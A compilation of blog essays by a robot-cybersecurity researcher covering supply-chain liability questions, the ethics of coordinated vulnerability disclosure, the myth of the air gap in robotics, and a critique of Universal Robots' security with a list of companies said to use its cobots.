The diagram presents several sub-cases, each deals with scenarios that may happen when robots present cybersecurity flaws. Beyond the interactions, what's outstanding is the more than 20 legal questions related to liabilities and responsibility that came up. This, in my opinion, reflects clearly the complexity of the current supply chain in robotics, and the many compromises one needs to assume when serving, distributing, integrating, or operating a robot.

What's more scary, is that most of the stakeholders involved in the supply chain I interact with ignore their responsibilities (different reasons, from what I can see). The security angle in here is critical. Security mitigations need to be supplied all the way down to the end-user products, otherwise, it'll lead to hazards.

While I am not a laywer, my discussions with lawyers on this topic made me believe that there's lack of legal frameworks and/or clear answers in Europe for most of these questions. Morever, the lack of security awareness from many of the stakeholders involved ^[2:1] is not only compromising intermediaries (e.g. Distributors and System Integrators), but ultimately exposing end-users to risks.

Altogether, I strongly believe this 'new' supply chain and the clear lack of security awareness and reactions leads to a compromised supply chain in robotics. I'm listing below a few of the most relevant (refer to the diagram above for all of them) cybersecurity-related questions raised while building the figure above reasoning on the supply chain:

• Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is human harm for a previously not known (or reported) flaw for a particular manufacturers's technology?^[4]
• Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is a human harm for a known and disclosed but not mitigated flaw for a particular manufacturers's technology?
• Who is responsible (across the supply chain) and what are the liabilities if as a result of a cyber-attack there is a human harm for a known, disclosed and mitigated flaw, yet not patched?
• What happens if the harm is environmental?
• And if there is no harm? Is there any liability for the lack of responsible behavior in the supply chain?
• What about researchers? are they allowed to freely incentivate security awareness by ethically disclosing their results? (which you'd expect when one discovers something)
• Can researchers collect insecurity evidence to demonstrate non-responsible behavior without liabilities?

While I can't answer most of this now, I hope I will in the short future.

So, what's better, fragmentation or the lack of it?

I see a huge growth through fragmentation yet, still, reckon that the biggest and most successful robotics companies out there tend to integrate it all.

What's clear to me is that fragmentation of the supply chain (or the 'new' supply chain) presents clear challenges for cybersecurity. Maintaining security in a fragmented scenario is more challenging, requires more resources and a well coordinated and often distributed series of actions (which by reason is tougher).

fragmentation of the supply chain (or the 'new' supply chain) presents clear challenges from a security perspective.

So what's better from a security angle? I don't know. I really don't. My team and I at Alias Robotics are still collecting data and slowly disclosing while cooperating with vendors. What's clear is that much needs to be done to improve the current robotics supply chain and prepare it for the upcoming cyber-threats.

Investing in robot cybersecurity by either building your own security team or relying on external support is a must.

References

As nicely pointed out in ^[1], responsible cybersecurity research and more specifically, vulnerability disclosure, is a two-way street. Vendors and manufacturers^[2], as well as researchers, must act responsibly.

According to recent research ^{[3] [4] [5]}, most vendors and manufacturers in robotics are ignoring security flaws completely. Creating pressure on these groups towards more reasonably-timed fixes will result in smaller windows of opportunity for cybercriminals to abuse vulnerabilities. This is specially important in robotics, given its direct physical connection with the world.

Coherently, vulnerability disclosure policies establish a two-way framework for coordination between researchers and manufacturers, and result in greater security in robotics and overall improved safety^[3:1].

In other words:

Coordinated vulnerability disclosure aims to avoid 0-days. A prompt mitigation is key.

Preliminary work on Vulnerability Diclosure Policies (VDP) in robotics inclued the Robot Vulnerability Database (RVD) VDP (link). This policy is strongly in line with a desire to improve the robotics industry response times to security bugs, but also results in softer landings for bugs marginally over deadline. More recent activity of VDPs within the Robot Operating System (ROS) community happened first at the here, here and ultimately landing into this PR.

Notice: This article touches into sensitive topic and provides an intuition into what I believe are best practices. The content in here is for informational purposes only. The author should thereby not liable for any damages of any nature incurred as a result of or in connection with the use of this information.

How does the process work?

The ideal and most common case is depicted below:

This scenario is one of the several the study cases covered in ^[6]. If you wish to learn more about coordinated disclosure in the robotics environment (which will generally always involve multi-party), I highly encourage to read ^[6:1] and ^[7], including its resources.

Note the following:

• exposure time frame: is managed, caused and fully controlled by the vendor or manufacturer, it's up to them to notify the corresponding entities and/or defenders to provide a mitigation via signatures, patches or related.
• risk time frame: is managed by the vendor or manufacturer. Often, shows how fast and security-ready a particular technology is.

Bottom line: it's is the manufacturer's responsibility to try and minimize exposure and risk time frames. Researchers and end-users can often do very little to make both of these periods shorter. Vendors caring more about security will present smaller exposure and risk time frames.

Vendors caring more about security will present smaller exposure and risk time frames.

A troubling "coordination"

The outlook seems rather clear, researchers should agree with vendors and manufacturers on a disclosure framework, deriving into a VDP.

Ideally, the particularities of each vulnerability should be considered individually and the disclosure framework should be flexible enough to accomodate different severities. More severe flaws should impose a higher pressure on the vendor or manufacturer, so that end-users are protected faster. Vulnerabilities affecting a third-party software component that presents no exploitability on a first look can't be considered at the same level as a remote code execution vulnerability in a robot operating in a healthcare environment. The reality is different though.

Vulnerabilities affecting a third-party software component that presents no exploitability on a first look can't be considered at the same level as a remote code execution vulnerability in a robot operating in a healthcare environment.

Often, researchers are forced to accept a pre-existing VDP which does not meet their particular scenario. Such situation has traditionally happened by either law suits (without legal base in most of the cases) or by exercising peer-pressure on researchers and publicly discrediting their work through communication actions (Note it's often the vendors and manufacturers the one controlling communications via commercials). This has been happening for the last 20 years starting with big software corporations opposing cybersecurity research and demonizing it. More importantly, this is already happening in robotics. The misuse of communication to silence and exercise social peer-pressure on security researchers is likely one of the reasons why currently, the general public, does not differentiate between cybercriminals and hackers.

The misuse of communication to silence and exercise social peer-pressure on security researchers is likely one of the reasons why currently, the general public, does not differentiate between cybercriminals and hackers.

There're hundreds of documented cases where well known security researchers have described their experiences collaborating with big or small companies. ^[8] displays one of such. Google security research group indirectly acknowledges this via their following paragraph from ^[1:1]:

We call on all researchers to adopt disclosure deadlines in some form, and feel free to use our policy verbatim (we've actually done so, from Google's) if you find our record and reasoning compelling.

It's ultimately the researcher's duty to decide on which disclosure deadlines they accept. Of course this doesn't mean they shouldn't listen to the needs of the vendors or manufacturers. Coordination is key. Security research is a two-way street. The final goal is to reduce the number of 0-days.

Who owns cybersecurity research results?

As a roboticist working on cybersecurity research for robots, I'm lucky to work side-by-side with people with interesting backgrounds, including some biologists. According to what I've learned, If a celullar biologist finds a new species, it's commonly accepted that such discovery belongs to him or her (he may even generally name it after himself!). Similar situations happen across other areas and domains, but traditionally not in security. This is nicely introduced in ^[8:1] by César Cerrudo. The default scenario is the following one:

1. Researcher discovers a security vulnerability.
2. Researcher responsibly reports such vulnerability to the corresponding vendor.
3. Vendor may consider (or not the vulnerability). In some cases, vendor enters into a cooperation (often not remunerated) with such researcher under confidentiality agreements that oblige the researcher to not disclose anything unless the vendor consents it.
4. Vendor mitigates (or not) such flaw and eventually and –in some cases years after– decides to disclose the vulnerability and credit the researcher.

Cybersecurity research results are owned by the researcher.

Cybersecurity research results are owned by the researcher. She or he deserves all the credit for her original work. The associated Intellectual Property (IP) for the discovery should follow similarly. It's of course the researcher's duty to act ethically, and establish the right procedures to ensure her discovery is used ethically.

A quick look into the security advisores of any vendor of software robot components can give you an intuition of how long it takes for a vendor to react. The norm isn't below 6 months and in many cases, historically, we can see disclosures after many years. Is the researcher who signs a Non-Confidentiality-Agreement (NDA) acting ethically allowing the vendor to expose (potentially) thousands of users over a many-year period? Is the vendor who forces the researcher to sign an NDA to "discuss collaborations" and later avoids prompt reaction and disclosures ethical?

The ethics behind vulnerability disclosure in robotics

As with most things in life, context matters. Arguably, the most affected group is the end-user. Let's consider the previous questions as case studies and argue about them always considering the end-user viewpoint (neither the researcher's nor the vendor's):

Case study 1: Is the researcher who signs an NDA acting ethically allowing the vendor to expose (potentially) thousands of users over a many-year period?

Let's analyze the following dynamics graphically:

Often, from the moment an NDA is in place and signed, the upstream vendor or manufacturer manages the timing. From that point on, disclosures are under the control of the the vendor. Will the company ever disclose it crediting back? Will they do it responsibly and with a reasonable time frame? There're no guarantees for the security researcher and coherently, if the security researcher accepts confidentiality agreements without any deadline, it wouldn't be acting ethically from the end-users viewpoint since the flaw could remain present for years.

In other words, the exposure time is not under the control of the researcher anymore and could get extended as much as the vendor desires. This is an extremely common case in cybersecurity, one that I've faced repeatedly already in robot cybersecurity.

Case study 2: Is the vendor who forces the researcher to sign an NDA to "discuss collaborations" and later avoids prompt reaction and disclosures ethical?

This case is similar but from the vendor's angle. Accordingly, the vendor would not be acting ethically from the end-users perspective unless they commit to responsible deadline that protects customers.

Case study 3: Is the researcher who –after responsibly attempting to coordinate with the vendor (maybe repeatedly)– decides to disclose its findings acting ethically?

Yes, it is, provided the researcher seeks best interest of end-users.

After repeated iterations, maybe via different channels, after having ensured that the vendor is aware if there're still no responses, from the end-user ethics viewpoint, it's the researcher's duty to disclose the flaw and allow end-users to demand proper service and fixes.

This is more common than it appears. In fact, https://news.aliasrobotics.com/week-of-universal-robots-bugs-exposing-insecurity/. In this case, Alias Robotics decided to disclose dozens of vulnerabilities from Universal Robots after not managing to coordinate with them on mitigation.

If you'd like to read more about the status, refer to:

• Universal Robots cobots are not secure or
• Delivering unprotected IP into robots, Universal Robots+

What if the researcher doesn't only look for end-users interests but also his/her own? E.g. monetary?

Case study 4: Is the researcher who releases publicly flaws to end-users acting ethically?

Depends. The right ethical approach (again, from the end-users' angle) is to attempt to reach common ground with the vendor for coordinated disclosure and assist the vendor in the process.

Sometimes, some groups don't have the time or resources (legal, person-power, etc.) to follow up with this procedure and opt for disclosure. In such cases they can head directly to a CERT who will coordinate with the vendor on their behalf. Provided the researcher hands the coordination responsability to the CERT and abides by its deadline (e.g. 20, 45 or 90 days), then the researcher will be acting ethically from the end-users viewpoint, even if it releases the flaws publicly once the deadline is met.

Case study 5: Is the researcher who sells its findings acting ethically?

Depends. Provided all conditions above are met, it is. Why not? Security research needs to be funded. This is one of the core principles behind bug bounty programs, to incentivate researchers to file in bug tickets, rather than selling them to third parties who may or may not use them for ethical purposes (e.g. vulnerability databases might buy flaws, but similarly, criminals or organizatios with malicious intentions do).

Many researchers find themselves constantly in a crossroad. Many vendors and manufacturers don't agree to fund security research, but demand instead flaws to be reported to them under an non-compromising-NDA to "avoid" suing researchers.

Most security researchers have faced this. Researchers need to consider whether they "give away" their findings to the vendor or to the end-users. To me, based on the rationale above, the answer is rather straightforward, the end-user should be considered first.

The robotics air gap is a network security measure employed wherein the robot is assumed to be physically isolated from insecure networks.

According to ^[1], air gap, air wall or air gapping is a network security measure employed on one or more devices to ensure that a "secure" network is physically isolated from unsecured networks. Air-gap networks are networks that are physically and logically isolated from other networks where communication between these networks is not physically or logically possible.

Inhering the myth from ICS

The air gap in robotics is inherited from Industrial and Control Systems (ICS). Under the false assumption that these devices are "not connected", several vendors ignore cyber security. This goes to the point that many of these robots are so insecure, that their connection to any network (regardless of its security protections) presents relevant threats for the network itself. In other words, these insecure and correspondingly, unsafe robots (refer to a previous essay on safety and security), are not only easily compromised across a variety of network configurations but also present a relevant threat to any professional network.

many of these robots are so insecure, that their connection to any network presents relevant threats for the network itself.

Some opt for creating dedicated networks for these robots, often with certain security measures however this "desired network isolation" is easily broken. Either via exposed physical ports, through evil twin access point attacks, WiFi SSID spoofing or radio jammers, the so called isolated robot networks are easily compromised. Unsurprisingly these attacks, though extremely simple from a technical perspective are among the most effective ones against current robots. Robots are networks of devices by definition. Networks of networks. The air gap is a dead myth in robotics.

Robots are networks of devices by definition. Networks of networks. The air gap is a dead myth in robotics.

For the skepticals and non-responsible manufacturers, here are a few good reasons presented in ^[2] before and adapted for robots:

• Modern robots are highly complex interconnected (implying different networks) systems.
• Threats should be considered at the inter and intra networking levels.
• Assuming a complete air gap between a robotic system and its enterprise/corporate/industrial network of operation is simply unrealistic.
• Focusing security efforts on protecting a few obvious pathways (e.g. the network infrastructure authentication and authorization processes) but not its members is a flawed defense.

The myth of the air gap in robotics is dead. A security-first approach is required in robots and robot components.

More than 100 companies are using insecure collaborative robots putting at risk tenths of thousands of workers and infrastructures around the world. These insecurities stem from the use of technology from Universal Robots (a company owned by Teradyne). Universal Robots technology is reportedly vulnerable and the manufacturer is proactively ignoring security after repeated security reports.

The week of Universal Robots’ bugs

Following a series of actions from Universal Robots, Alias Robotics has decided to react by launching the week of Universal Robots bugs. Alias’ team will dedicate resources to file security flaws and consolidating everything and advicing on best security practices with these robots.

Endika Gil-UriarteAlias Robotics | Robot cybersecurity news

Universal Robots cobots are insecure

Tenths of thousands of users of Universal Robots are using insecure technology that might easily lead to safety hazards. This article argues about why and how we reached this situation and proposes some thoughts and advice on the matter.

Víctor Mayoral VilchesCybersecurity and Robotics

Delivering unprotected IP into robots, Universal Robots+

Universal Robots delivers unprotected Intellectual Property through their insecure development platform, Universal Robots+. More than 600 partners affected have already submitted their Plug-and-Produce products to an insecure platform for robots.

Víctor Mayoral VilchesCybersecurity and Robotics

Alias Robotics leads Security Discussion at ROS-Industrial Conference

Alias Robotics is raising the standard of what it means to be secure in robotics and their mission is going global. Last week, Víctor Mayoral Vilches and Endika Gil Uriarte represented Alias Robotics at the 2019 ROS-Industrial Europe Conference, held at the Fraunhofer IPA in Stuttgart.

McKenna TowersAlias Robotics | Robot cybersecurity news

The culprits behind this insecure industrial robotics landscape are collaborative robots UR3, UR5, UR10, eUR3, eUR5, eUR10 and eUR16 (all manufactured by Universal Robots) which present dozens of unpatched security flaws over an insecure file system that's not updated nor maintained according to common security practices. The current security flaws can be exploited by physical and remote attack vectors and can enable cyber-criminals to interrupt the automation processes, encrypt or steal intellectual property in the robot (and/or connected vulnerable machines) or even incur in collisions after the attackers disable their safety mechanisms, which can be done remotely.

The current security flaws can be exploited by physical and remote attack vectors and can enable cyber-criminals to interrupt the automation processes, encrypt or steal intellectual property in the robot (and/or connected vulnerable machines) or even incur in collisions after the attackers disable their safety mechanisms, which can be done remotely.

Among the companies affected, it's easy to identify international automotive companies and suppliers including Ford (Romania), Nissan (Japan), Opel (Germany) , Bajaj (India), Alpha Corporation (Japan) or Continental (Spain). From farmaceutial companies to food an agriculture processing and production, these robots are used insecurely across domains including universities (e.g. PSG College of Technology) and hospitals (e.g. Copenhagen University Hospital, Gentofte Hospital).

According to the sources used, including the official case studies ^[1] information from the very own Universal Robots, more than 90.000 workers involved in these organizations might be subject to suffer from these security flaws and the lack of security awareness of this company from the Teradyne group. The more than 100 organizations spread around the world present an average employee count of more than 650, which significantly elevates the risks given the importance of insider threats, as reported by several articles and standards including NIST SP 800-82 Guide to Industrial Control Systems (ICS) Security ^[2].

Geographical situation

From the data availble, these insecure collaborative robots are operating in 31 countries with special representation in Denmark, Czech Republic, India and the USA.

Sectors affected

More than 16 sectors and areas of application are affected. The following table summarizes the data collected:

Conclusions

It must be noted that the data available represents only a subset of the actual insecurity landscape. According to latest reports, Universal Robots has sold more than 42,000 robots that present critical vulnerabilities ^{[3] [4] [5] [6]} as of latest firmware. A complete list of the companies affected is available below:

2K Trend, a.s.
AGH University of Science and Technology, Poland
Aircraft Tooling Inc.
Albrecht Jung GmbH und Co. KG
All Axis Machining
ALPHA Corporation
AQUAEL
AR+
ASSA ABLOY NZ
ASSA ABLOY RO
Atria
Attl a spol. s.r.o. Továrna na stroje
Aurolab
Autodesk
-
Babo Arms
Bajaj Auto
BAUMRUK & BAUMRUK
Beijing BAI Lear Automotive System Co., Ltd.
Benchmark Electronics Thailand
Betacom
beyerdynamic GmbH & Co. KG
-
Blue Star Limited
Böco Böddecker
BOOG
BTC Mold CO., LTD
BWIndustrie
Carl Zeiss
Cascina Italia
Clamcleats Ltd
Clearpack Group
CNC Trčka
Comprehensive Logistics
Continental Automotive Spain
Coty Cosmetics
COVAP
Craft and Technik Industries (CATI)
Creating Revolutions
Darex
DCL Logistics
Technical College of Jutland
Dynamic Group
EMTEK
Endutec GmbH
Etalex
EVCO Plastics
Ferdinand Wagner Profile
Fluidics Instruments B.V.
FME Feinmechanik AG
Ford Motor Company
Franke Küchentechnik AG
Fries Maschinenbau
FT produktion
Fusion OEM
Copenhagen University Hospital, Gentofte
Gern Glas
GKN Driveline
Glidewell Laboratories
Group PSA
Gustav Hensel GmbH und Co. KG
-
Heemskerk Fijnmechanica B.V.
Hofmann Glastechnik GmbH
Huis Ten Bosch Co.,Ltd.
Hyundae Induction Hardening Heat Treatment (HIHHT)
InPrint A/S
iQLANDIA Science Center
Izoelektro d.o.o.
Jenny | Waltle GmbH
-
Konetehdas K&K
Koyo Electronics Industries
Lear Corporation
LEAX Group
Life Elettronica Srl
Linaset
Linatex
L'Oréal India Private Limited
Magneti Marelli Slovakia
MANN+HUMMEL Ibérica
Marka S.r.l.
Melecs EWS GmbH
Minitüb
Mjolkursamsalan Akureyri
-
New Engineering Works
Nichrominox
Nippon Zettoc
Nissan Motor Company
Nordic Sugar
Nortura
Nymann Teknik
Opel
Orkla Foods Sverige
Oticon
OTV Plast
Paradigm Electronics.
PLC Industries
PMI
Profatec AG
Prysm Industries
PSG College of Technology
PT JVC Electronics Indonesia
RAMTEC (Robotics & Advanced Manufacturing Technology Education Collaborative).
RCM Industries
-
RNB Cosméticos
Ronet
RSS Manufacturing and Phylrich
Xiamen Runner Industrial Corporation
RUPES
SANOFI
Scandinavian Tobacco Company
Scott Fetzer Electrical Group.
SHAD
Shruti Engineers
Sky Engineering
SMEW Textile Machinery Pvt. Ltd.
STAMIT s.r.o.
Stantræk
Talbot Technologies
Task Force Tips
TCI New Zealand
Thiele
thyssenkrupp Bilstein
Tool Gauge
Toolcraft Inc
Trelleborg Sealing Solutions
T&W Stamping
Unilever
Vinacomin Motor Industry Joint Stock Company
-
Voodoo Manufacturing
Whippany Actuation Systems
Yokota Corporation
YUEYIN Technology
Zippertubing Company

As indicated by Kirschgens et al. ^[5:1] in 2018, robots are increasingly intertwined with other facets of IT and envisioned to get much more autonomy, interacting physically with humans yet, robot security is being ignored by manufacturers. The present article illustrates this claim with evidence collected over the last two years of research in the area.

Acording to many, cobots are at the rising point of are the robotics technological revolution and hand in hand with Industry 4.0, called to change many industrial operations while influencing greatly the professional and consumer sectors. From the words of ^[5:2]:

we find extremely relevant to promptly alert about the imperative of ensuring a security first approach now, before new devices continue being irresponsibly rushed to the market by a number of companies. Likewise, we encourage all sides involved to develop both internal and external policies aimed at the adequate management of some of the safety and security issues

My past 10 years building robots and my daily work at Alias Robotics provides an interesting angle. From preliminar data and customer responses, it seems most of these groups are not aware of the insecurities that these robots present to them. This short essay puts this matter into perspective, and hopes to generate additional awareness across users of the robots.

To conclude, I'd once again cite Kirschgens et al. ^[5:3] and repeat the main question that the authors asked themselves back in 2018:

How long will it take until manufacturers notice the damages that the insecurity of these devices may cause and act? ... it seems decisive to remind that, in a world where IT and robotics are increasingly intertwined, safety and security are necessarily tightly coupled. A security-first approach is ”sine qua non” requisite for ensuring safe operations with robots.

References